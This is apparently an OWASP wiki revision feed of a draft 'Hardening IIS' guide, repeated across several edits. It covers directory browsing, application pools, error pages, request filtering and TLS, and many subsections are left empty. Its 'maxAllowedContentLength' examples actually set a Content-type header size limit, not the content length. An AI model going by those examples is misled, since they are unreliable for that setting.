      using (ServerManager serverManager = new ServerManager())&lt;br /&gt;
      {&lt;br /&gt;
         Configuration config = serverManager.GetWebConfiguration(&amp;quot;Default Web Site&amp;quot;);&lt;br /&gt;
         ConfigurationSection requestFilteringSection = config.GetSection(&amp;quot;system.webServer/security/requestFiltering&amp;quot;);&lt;br /&gt;
         ConfigurationElement requestLimitsElement = requestFilteringSection.GetChildElement(&amp;quot;requestLimits&amp;quot;);&lt;br /&gt;
         ConfigurationElementCollection headerLimitsCollection = requestLimitsElement.GetCollection(&amp;quot;headerLimits&amp;quot;);&lt;br /&gt;
    &lt;br /&gt;
         ConfigurationElement addElement = headerLimitsCollection.CreateElement(&amp;quot;add&amp;quot;);&lt;br /&gt;
         addElement[&amp;quot;header&amp;quot;] = @&amp;quot;Content-type&amp;quot;;&lt;br /&gt;
         addElement[&amp;quot;sizeLimit&amp;quot;] = 100;&lt;br /&gt;
         headerLimitsCollection.Add(addElement);&lt;br /&gt;
    &lt;br /&gt;
         serverManager.CommitChanges();&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
=== Configure maxURL request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Configure maxQueryString request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Reject non-ASCII characters in URLs ===&lt;br /&gt;
&lt;br /&gt;
=== Reject double-encoded requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disable HTTP trace requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disallow unlisted file extensions ===&lt;br /&gt;
&lt;br /&gt;
=== Enable Dynamic IP Address Restrictions ===&lt;br /&gt;
&lt;br /&gt;
== Transport Encryption ==&lt;br /&gt;
&lt;br /&gt;
=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===&lt;br /&gt;
&lt;br /&gt;
=== A list of recommendations for IIS ===&lt;br /&gt;
&lt;br /&gt;
==== Disable SSL v2/v3 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.0 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.1 ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS 1.2 is enabled ====&lt;br /&gt;
&lt;br /&gt;
==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS cipher suites are correctly ordered ====&lt;br /&gt;
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/&lt;br /&gt;
&lt;br /&gt;
== HSTS support ==&lt;br /&gt;
&lt;br /&gt;
=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===&lt;br /&gt;
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts&lt;br /&gt;
&lt;br /&gt;
== CORS support ==&lt;br /&gt;
&lt;br /&gt;
=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===&lt;br /&gt;
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module&lt;br /&gt;
&lt;br /&gt;
== Authors ==&lt;br /&gt;
Sourabh Shirhatti (Microsoft)&lt;br /&gt;
&lt;br /&gt;
Bill Sempf (bill.sempf@owasp.org)&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242902</id>
		<title>Hardening IIS</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242902"/>
				<updated>2018-08-29T01:29:09Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: /* Configure maxAllowedContentLength */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Draft - Work In Progress =&lt;br /&gt;
&lt;br /&gt;
== Basic configuration ==&lt;br /&gt;
&lt;br /&gt;
Common changes that should be part of all IIS installations.&lt;br /&gt;
&lt;br /&gt;
=== Disable directoryBrowsing ===&lt;br /&gt;
&lt;br /&gt;
Directory browsing gives the user the ability to just navigate to http://server/directory/ and get a list of all files in the directory.  This was useful when web servers were primarily file servers, but is clearly a security problem now.&lt;br /&gt;
&lt;br /&gt;
To disable directory browsing in IIS 10.0 (and several earlier versions, either:&lt;br /&gt;
&lt;br /&gt;
1) Alter the web.config to set the directoryBrowse feature to false&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;configuration&amp;gt;&lt;br /&gt;
      &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
         &amp;lt;directoryBrowse enabled=&amp;quot;false&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
   &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2) or Navigate to IIS in the Server Manager, and uncheck Directory Browsing under Common HTTP Features.&lt;br /&gt;
&lt;br /&gt;
=== Avoid wildcard host headers ===&lt;br /&gt;
&lt;br /&gt;
IIS 10.0 has added wildcard host headers.  This means that if there is a website hosted for a domain, the server will handle requests for any subdomain, allowing the developer to make decisions based on the request as how to respond.&lt;br /&gt;
&lt;br /&gt;
In general, this is a bad idea and shouldn't be used.  There are very specific reasons to use them, but it is almost guaranteed that your situation isn't one of them.&lt;br /&gt;
&lt;br /&gt;
Certainly, do not use wildcard domains, like http://* for example.  But in general avoid using them at all.  Instead use site bindings to solve the same problem.&lt;br /&gt;
&lt;br /&gt;
=== Ensure applicationPoolIdentity is configured for all application pools ===&lt;br /&gt;
applicationPoolIdentity configured the Active Directory user that the applications in the pool impersonate.  &lt;br /&gt;
&lt;br /&gt;
To assure that this value is set, navigate to an Application Pool in IIS Manager, right click and select Application Pool defaults.  Then select the appropriate user.&lt;br /&gt;
&lt;br /&gt;
=== Use an unique applicationPool per site ===&lt;br /&gt;
&lt;br /&gt;
Application bools are designed to create a collection of sites that can be restarted together, and have a common max memory limit, and some other features.  With today's applications, it is best if there is a unique application pool for each site.  Perhaps if there is a separate project for services and the front end of an application, then they could go together in one pool but for the majority of applications, one pool per app.=&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure application pools for IIS. &lt;br /&gt;
&lt;br /&gt;
1)In IIS Manager, expand Sites in the Connections pane.  Then click Advanced Settings, then the ellipsis button next to Application Pool. Select a unique pool there.&lt;br /&gt;
&lt;br /&gt;
2) Using the command prompt, run appcmd to set up new command pools.&lt;br /&gt;
&lt;br /&gt;
  appcmd.exe set config -section:system.applicationHost/applicationPools /+&amp;quot;[name='NewCommandPool',autoStart='True',managedPipelineMode='Integrated']&amp;quot; /commit:apphost&lt;br /&gt;
&lt;br /&gt;
=== Disable IIS detailed error page from displaying remotely ===&lt;br /&gt;
&lt;br /&gt;
When debugging a production application that is misbehaving, we would like to see detailed errors when using the server at the console, but show remote users custom pages.&lt;br /&gt;
&lt;br /&gt;
To handle this, use the IIS Console and select Exceptions.  In the Actions column, select Edit Feature Settings and then select Detailed Errors For Local Requests and Custom Errors For Remote Requests.&lt;br /&gt;
&lt;br /&gt;
== Request filtering ==&lt;br /&gt;
&lt;br /&gt;
=== Configure maxAllowedContentLength ===&lt;br /&gt;
The maxAllowedContentLength is a part of the requestLimits collection, and it is too long by default for most requests (around 26 MB).  On an application bases it can be altered using the requestFiltering node in the Security collection.  Here is an example in the web.config:&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;configuration&amp;gt;&lt;br /&gt;
      &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
         &amp;lt;security&amp;gt;&lt;br /&gt;
            &amp;lt;requestFiltering&amp;gt;&lt;br /&gt;
               &amp;lt;requestLimits&amp;gt;&lt;br /&gt;
                  &amp;lt;headerLimits&amp;gt;&lt;br /&gt;
                     &amp;lt;add header=&amp;quot;Content-type&amp;quot; sizeLimit=&amp;quot;100&amp;quot; /&amp;gt;&lt;br /&gt;
                  &amp;lt;/headerLimits&amp;gt;&lt;br /&gt;
               &amp;lt;/requestLimits&amp;gt;&lt;br /&gt;
            &amp;lt;/requestFiltering&amp;gt;&lt;br /&gt;
         &amp;lt;/security&amp;gt;&lt;br /&gt;
      &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
   &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In C#, it is possible to change the content length for a particular request with the ServerManager:&lt;br /&gt;
&lt;br /&gt;
      using (ServerManager serverManager = new ServerManager())&lt;br /&gt;
      {&lt;br /&gt;
         Configuration config = serverManager.GetWebConfiguration(&amp;quot;Default Web Site&amp;quot;);&lt;br /&gt;
         ConfigurationSection requestFilteringSection = config.GetSection(&amp;quot;system.webServer/security/requestFiltering&amp;quot;);&lt;br /&gt;
         ConfigurationElement requestLimitsElement = requestFilteringSection.GetChildElement(&amp;quot;requestLimits&amp;quot;);&lt;br /&gt;
         ConfigurationElementCollection headerLimitsCollection = requestLimitsElement.GetCollection(&amp;quot;headerLimits&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
         ConfigurationElement addElement = headerLimitsCollection.CreateElement(&amp;quot;add&amp;quot;);&lt;br /&gt;
         addElement[&amp;quot;header&amp;quot;] = @&amp;quot;Content-type&amp;quot;;&lt;br /&gt;
         addElement[&amp;quot;sizeLimit&amp;quot;] = 100;&lt;br /&gt;
         headerLimitsCollection.Add(addElement);&lt;br /&gt;
&lt;br /&gt;
         serverManager.CommitChanges();&lt;br /&gt;
      }&lt;br /&gt;
&lt;br /&gt;
=== Configure maxURL request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Configure maxQueryString request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Reject non-ASCII characters in URLs ===&lt;br /&gt;
&lt;br /&gt;
=== Reject double-encoded requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disable HTTP trace requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disallow unlisted file extensions ===&lt;br /&gt;
&lt;br /&gt;
=== Enable Dynamic IP Address Restrictions ===&lt;br /&gt;
&lt;br /&gt;
== Transport Encryption ==&lt;br /&gt;
&lt;br /&gt;
=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===&lt;br /&gt;
&lt;br /&gt;
=== A list of recommendations for IIS ===&lt;br /&gt;
&lt;br /&gt;
==== Disable SSL v2/v3 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.0 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.1 ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS 1.2 is enabled ====&lt;br /&gt;
&lt;br /&gt;
==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS cipher suites are correctly ordered ====&lt;br /&gt;
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/&lt;br /&gt;
&lt;br /&gt;
== HSTS support ==&lt;br /&gt;
&lt;br /&gt;
=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===&lt;br /&gt;
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts&lt;br /&gt;
&lt;br /&gt;
== CORS support ==&lt;br /&gt;
&lt;br /&gt;
=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===&lt;br /&gt;
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module&lt;br /&gt;
&lt;br /&gt;
== Authors ==&lt;br /&gt;
Sourabh Shirhatti (Microsoft)&lt;br /&gt;
&lt;br /&gt;
Bill Sempf (bill.sempf@owasp.org)&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242901</id>
		<title>Hardening IIS</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242901"/>
				<updated>2018-08-29T01:28:26Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: /* Configure maxAllowedContentLength */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Draft - Work In Progress =&lt;br /&gt;
&lt;br /&gt;
== Basic configuration ==&lt;br /&gt;
&lt;br /&gt;
Common changes that should be part of all IIS installations.&lt;br /&gt;
&lt;br /&gt;
=== Disable directoryBrowsing ===&lt;br /&gt;
&lt;br /&gt;
Directory browsing gives the user the ability to just navigate to http://server/directory/ and get a list of all files in the directory.  This was useful when web servers were primarily file servers, but is clearly a security problem now.&lt;br /&gt;
&lt;br /&gt;
To disable directory browsing in IIS 10.0 (and several earlier versions, either:&lt;br /&gt;
&lt;br /&gt;
1) Alter the web.config to set the directoryBrowse feature to false&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;configuration&amp;gt;&lt;br /&gt;
      &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
         &amp;lt;directoryBrowse enabled=&amp;quot;false&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
   &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2) or Navigate to IIS in the Server Manager, and uncheck Directory Browsing under Common HTTP Features.&lt;br /&gt;
&lt;br /&gt;
=== Avoid wildcard host headers ===&lt;br /&gt;
&lt;br /&gt;
IIS 10.0 has added wildcard host headers.  This means that if there is a website hosted for a domain, the server will handle requests for any subdomain, allowing the developer to make decisions based on the request as how to respond.&lt;br /&gt;
&lt;br /&gt;
In general, this is a bad idea and shouldn't be used.  There are very specific reasons to use them, but it is almost guaranteed that your situation isn't one of them.&lt;br /&gt;
&lt;br /&gt;
Certainly, do not use wildcard domains, like http://* for example.  But in general avoid using them at all.  Instead use site bindings to solve the same problem.&lt;br /&gt;
&lt;br /&gt;
=== Ensure applicationPoolIdentity is configured for all application pools ===&lt;br /&gt;
applicationPoolIdentity configured the Active Directory user that the applications in the pool impersonate.  &lt;br /&gt;
&lt;br /&gt;
To assure that this value is set, navigate to an Application Pool in IIS Manager, right click and select Application Pool defaults.  Then select the appropriate user.&lt;br /&gt;
&lt;br /&gt;
=== Use an unique applicationPool per site ===&lt;br /&gt;
&lt;br /&gt;
Application bools are designed to create a collection of sites that can be restarted together, and have a common max memory limit, and some other features.  With today's applications, it is best if there is a unique application pool for each site.  Perhaps if there is a separate project for services and the front end of an application, then they could go together in one pool but for the majority of applications, one pool per app.=&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure application pools for IIS. &lt;br /&gt;
&lt;br /&gt;
1)In IIS Manager, expand Sites in the Connections pane.  Then click Advanced Settings, then the ellipsis button next to Application Pool. Select a unique pool there.&lt;br /&gt;
&lt;br /&gt;
2) Using the command prompt, run appcmd to set up new command pools.&lt;br /&gt;
&lt;br /&gt;
  appcmd.exe set config -section:system.applicationHost/applicationPools /+&amp;quot;[name='NewCommandPool',autoStart='True',managedPipelineMode='Integrated']&amp;quot; /commit:apphost&lt;br /&gt;
&lt;br /&gt;
=== Disable IIS detailed error page from displaying remotely ===&lt;br /&gt;
&lt;br /&gt;
When debugging a production application that is misbehaving, we would like to see detailed errors when using the server at the console, but show remote users custom pages.&lt;br /&gt;
&lt;br /&gt;
To handle this, use the IIS Console and select Exceptions.  In the Actions column, select Edit Feature Settings and then select Detailed Errors For Local Requests and Custom Errors For Remote Requests.&lt;br /&gt;
&lt;br /&gt;
== Request filtering ==&lt;br /&gt;
&lt;br /&gt;
=== Configure maxAllowedContentLength ===&lt;br /&gt;
The maxAllowedContentLength is a part of the requestLimits collection, and it is too long by default for most requests (around 26 MB).  On an application bases it can be altered using the requestFiltering node in the Security collection.  Here is an example in the web.config:&lt;br /&gt;
&lt;br /&gt;
In C#, it is possible to change the content length for a particular request with the ServerManager:&lt;br /&gt;
&lt;br /&gt;
=== Configure maxURL request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Configure maxQueryString request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Reject non-ASCII characters in URLs ===&lt;br /&gt;
&lt;br /&gt;
=== Reject double-encoded requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disable HTTP trace requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disallow unlisted file extensions ===&lt;br /&gt;
&lt;br /&gt;
=== Enable Dynamic IP Address Restrictions ===&lt;br /&gt;
&lt;br /&gt;
== Transport Encryption ==&lt;br /&gt;
&lt;br /&gt;
=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===&lt;br /&gt;
&lt;br /&gt;
=== A list of recommendations for IIS ===&lt;br /&gt;
&lt;br /&gt;
==== Disable SSL v2/v3 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.0 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.1 ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS 1.2 is enabled ====&lt;br /&gt;
&lt;br /&gt;
==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS cipher suites are correctly ordered ====&lt;br /&gt;
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/&lt;br /&gt;
&lt;br /&gt;
== HSTS support ==&lt;br /&gt;
&lt;br /&gt;
=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===&lt;br /&gt;
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts&lt;br /&gt;
&lt;br /&gt;
== CORS support ==&lt;br /&gt;
&lt;br /&gt;
=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===&lt;br /&gt;
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module&lt;br /&gt;
&lt;br /&gt;
== Authors ==&lt;br /&gt;
Sourabh Shirhatti (Microsoft)&lt;br /&gt;
&lt;br /&gt;
Bill Sempf (bill.sempf@owasp.org)&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242623</id>
		<title>Hardening IIS</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242623"/>
				<updated>2018-08-16T23:16:15Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: /* Ensure applicationPoolIdentity is configured for all application pools */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Draft - Work In Progress =&lt;br /&gt;
&lt;br /&gt;
== Basic configuration ==&lt;br /&gt;
&lt;br /&gt;
Common changes that should be part of all IIS installations.&lt;br /&gt;
&lt;br /&gt;
=== Disable directoryBrowsing ===&lt;br /&gt;
&lt;br /&gt;
Directory browsing gives the user the ability to just navigate to http://server/directory/ and get a list of all files in the directory.  This was useful when web servers were primarily file servers, but is clearly a security problem now.&lt;br /&gt;
&lt;br /&gt;
To disable directory browsing in IIS 10.0 (and several earlier versions, either:&lt;br /&gt;
&lt;br /&gt;
1) Alter the web.config to set the directoryBrowse feature to false&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;configuration&amp;gt;&lt;br /&gt;
      &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
         &amp;lt;directoryBrowse enabled=&amp;quot;false&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
   &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2) or Navigate to IIS in the Server Manager, and uncheck Directory Browsing under Common HTTP Features.&lt;br /&gt;
&lt;br /&gt;
=== Avoid wildcard host headers ===&lt;br /&gt;
&lt;br /&gt;
IIS 10.0 has added wildcard host headers.  This means that if there is a website hosted for a domain, the server will handle requests for any subdomain, allowing the developer to make decisions based on the request as how to respond.&lt;br /&gt;
&lt;br /&gt;
In general, this is a bad idea and shouldn't be used.  There are very specific reasons to use them, but it is almost guaranteed that your situation isn't one of them.&lt;br /&gt;
&lt;br /&gt;
Certainly, do not use wildcard domains, like http://* for example.  But in general avoid using them at all.  Instead use site bindings to solve the same problem.&lt;br /&gt;
&lt;br /&gt;
=== Ensure applicationPoolIdentity is configured for all application pools ===&lt;br /&gt;
applicationPoolIdentity configured the Active Directory user that the applications in the pool impersonate.  &lt;br /&gt;
&lt;br /&gt;
To assure that this value is set, navigate to an Application Pool in IIS Manager, right click and select Application Pool defaults.  Then select the appropriate user.&lt;br /&gt;
&lt;br /&gt;
=== Use an unique applicationPool per site ===&lt;br /&gt;
&lt;br /&gt;
Application bools are designed to create a collection of sites that can be restarted together, and have a common max memory limit, and some other features.  With today's applications, it is best if there is a unique application pool for each site.  Perhaps if there is a separate project for services and the front end of an application, then they could go together in one pool but for the majority of applications, one pool per app.=&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure application pools for IIS. &lt;br /&gt;
&lt;br /&gt;
1)In IIS Manager, expand Sites in the Connections pane.  Then click Advanced Settings, then the ellipsis button next to Application Pool. Select a unique pool there.&lt;br /&gt;
&lt;br /&gt;
2) Using the command prompt, run appcmd to set up new command pools.&lt;br /&gt;
&lt;br /&gt;
  appcmd.exe set config -section:system.applicationHost/applicationPools /+&amp;quot;[name='NewCommandPool',autoStart='True',managedPipelineMode='Integrated']&amp;quot; /commit:apphost&lt;br /&gt;
&lt;br /&gt;
=== Disable IIS detailed error page from displaying remotely ===&lt;br /&gt;
&lt;br /&gt;
When debugging a production application that is misbehaving, we would like to see detailed errors when using the server at the console, but show remote users custom pages.&lt;br /&gt;
&lt;br /&gt;
To handle this, use the IIS Console and select Exceptions.  In the Actions column, select Edit Feature Settings and then select Detailed Errors For Local Requests and Custom Errors For Remote Requests.&lt;br /&gt;
&lt;br /&gt;
== Request filtering ==&lt;br /&gt;
&lt;br /&gt;
=== Configure maxAllowedContentLength ===&lt;br /&gt;
&lt;br /&gt;
=== Configure maxURL request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Configure MaxQueryString request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Reject non-ASCII characters in URLs ===&lt;br /&gt;
&lt;br /&gt;
=== Reject double-encoded requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disable HTTP trace requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disallow unlisted file extensions ===&lt;br /&gt;
&lt;br /&gt;
=== Enable Dynamic IP Address Restrictions ===&lt;br /&gt;
&lt;br /&gt;
== Transport Encryption ==&lt;br /&gt;
&lt;br /&gt;
=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===&lt;br /&gt;
&lt;br /&gt;
=== A list of recommendations for IIS ===&lt;br /&gt;
&lt;br /&gt;
==== Disable SSL v2/v3 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.0 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.1 ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS 1.2 is enabled ====&lt;br /&gt;
&lt;br /&gt;
==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS cipher suites are correctly ordered ====&lt;br /&gt;
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/&lt;br /&gt;
&lt;br /&gt;
== HSTS support ==&lt;br /&gt;
&lt;br /&gt;
=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===&lt;br /&gt;
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts&lt;br /&gt;
&lt;br /&gt;
== CORS support ==&lt;br /&gt;
&lt;br /&gt;
=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===&lt;br /&gt;
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module&lt;br /&gt;
&lt;br /&gt;
== Authors ==&lt;br /&gt;
Sourabh Shirhatti (Microsoft)&lt;br /&gt;
&lt;br /&gt;
Bill Sempf (bill.sempf@owasp.org)&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242622</id>
		<title>Hardening IIS</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Hardening_IIS&amp;diff=242622"/>
				<updated>2018-08-16T23:09:01Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Detailed errors&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Draft - Work In Progress =&lt;br /&gt;
&lt;br /&gt;
== Basic configuration ==&lt;br /&gt;
&lt;br /&gt;
Common changes that should be part of all IIS installations.&lt;br /&gt;
&lt;br /&gt;
=== Disable directoryBrowsing ===&lt;br /&gt;
&lt;br /&gt;
Directory browsing gives the user the ability to just navigate to http://server/directory/ and get a list of all files in the directory.  This was useful when web servers were primarily file servers, but is clearly a security problem now.&lt;br /&gt;
&lt;br /&gt;
To disable directory browsing in IIS 10.0 (and several earlier versions, either:&lt;br /&gt;
&lt;br /&gt;
1) Alter the web.config to set the directoryBrowse feature to false&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;configuration&amp;gt;&lt;br /&gt;
      &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
         &amp;lt;directoryBrowse enabled=&amp;quot;false&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
   &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2) or Navigate to IIS in the Server Manager, and uncheck Directory Browsing under Common HTTP Features.&lt;br /&gt;
&lt;br /&gt;
=== Avoid wildcard host headers ===&lt;br /&gt;
&lt;br /&gt;
IIS 10.0 has added wildcard host headers.  This means that if there is a website hosted for a domain, the server will handle requests for any subdomain, allowing the developer to make decisions based on the request as how to respond.&lt;br /&gt;
&lt;br /&gt;
In general, this is a bad idea and shouldn't be used.  There are very specific reasons to use them, but it is almost guaranteed that your situation isn't one of them.&lt;br /&gt;
&lt;br /&gt;
Certainly, do not use wildcard domains, like http://* for example.  But in general avoid using them at all.  Instead use site bindings to solve the same problem.&lt;br /&gt;
&lt;br /&gt;
=== Ensure applicationPoolIdentity is configured for all application pools ===&lt;br /&gt;
&lt;br /&gt;
=== Use an unique applicationPool per site ===&lt;br /&gt;
&lt;br /&gt;
Application bools are designed to create a collection of sites that can be restarted together, and have a common max memory limit, and some other features.  With today's applications, it is best if there is a unique application pool for each site.  Perhaps if there is a separate project for services and the front end of an application, then they could go together in one pool but for the majority of applications, one pool per app.=&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure application pools for IIS. &lt;br /&gt;
&lt;br /&gt;
1)In IIS Manager, expand Sites in the Connections pane.  Then click Advanced Settings, then the ellipsis button next to Application Pool. Select a unique pool there.&lt;br /&gt;
&lt;br /&gt;
2) Using the command prompt, run appcmd to set up new command pools.&lt;br /&gt;
&lt;br /&gt;
  appcmd.exe set config -section:system.applicationHost/applicationPools /+&amp;quot;[name='NewCommandPool',autoStart='True',managedPipelineMode='Integrated']&amp;quot; /commit:apphost&lt;br /&gt;
&lt;br /&gt;
=== Disable IIS detailed error page from displaying remotely ===&lt;br /&gt;
&lt;br /&gt;
When debugging a production application that is misbehaving, we would like to see detailed errors when using the server at the console, but show remote users custom pages.&lt;br /&gt;
&lt;br /&gt;
To handle this, use the IIS Console and select Exceptions.  In the Actions column, select Edit Feature Settings and then select Detailed Errors For Local Requests and Custom Errors For Remote Requests.&lt;br /&gt;
&lt;br /&gt;
== Request filtering ==&lt;br /&gt;
&lt;br /&gt;
=== Configure maxAllowedContentLength ===&lt;br /&gt;
&lt;br /&gt;
=== Configure maxURL request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Configure MaxQueryString request filter ===&lt;br /&gt;
&lt;br /&gt;
=== Reject non-ASCII characters in URLs ===&lt;br /&gt;
&lt;br /&gt;
=== Reject double-encoded requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disable HTTP trace requests ===&lt;br /&gt;
&lt;br /&gt;
=== Disallow unlisted file extensions ===&lt;br /&gt;
&lt;br /&gt;
=== Enable Dynamic IP Address Restrictions ===&lt;br /&gt;
&lt;br /&gt;
== Transport Encryption ==&lt;br /&gt;
&lt;br /&gt;
=== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ===&lt;br /&gt;
&lt;br /&gt;
=== A list of recommendations for IIS ===&lt;br /&gt;
&lt;br /&gt;
==== Disable SSL v2/v3 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.0 ====&lt;br /&gt;
&lt;br /&gt;
==== Disable TLS 1.1 ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS 1.2 is enabled ====&lt;br /&gt;
&lt;br /&gt;
==== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) ====&lt;br /&gt;
&lt;br /&gt;
==== Ensure TLS cipher suites are correctly ordered ====&lt;br /&gt;
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/&lt;br /&gt;
&lt;br /&gt;
== HSTS support ==&lt;br /&gt;
&lt;br /&gt;
=== IIS recently (Windows Server 1709) added turnkey support for HSTS ===&lt;br /&gt;
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts&lt;br /&gt;
&lt;br /&gt;
== CORS support ==&lt;br /&gt;
&lt;br /&gt;
=== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ===&lt;br /&gt;
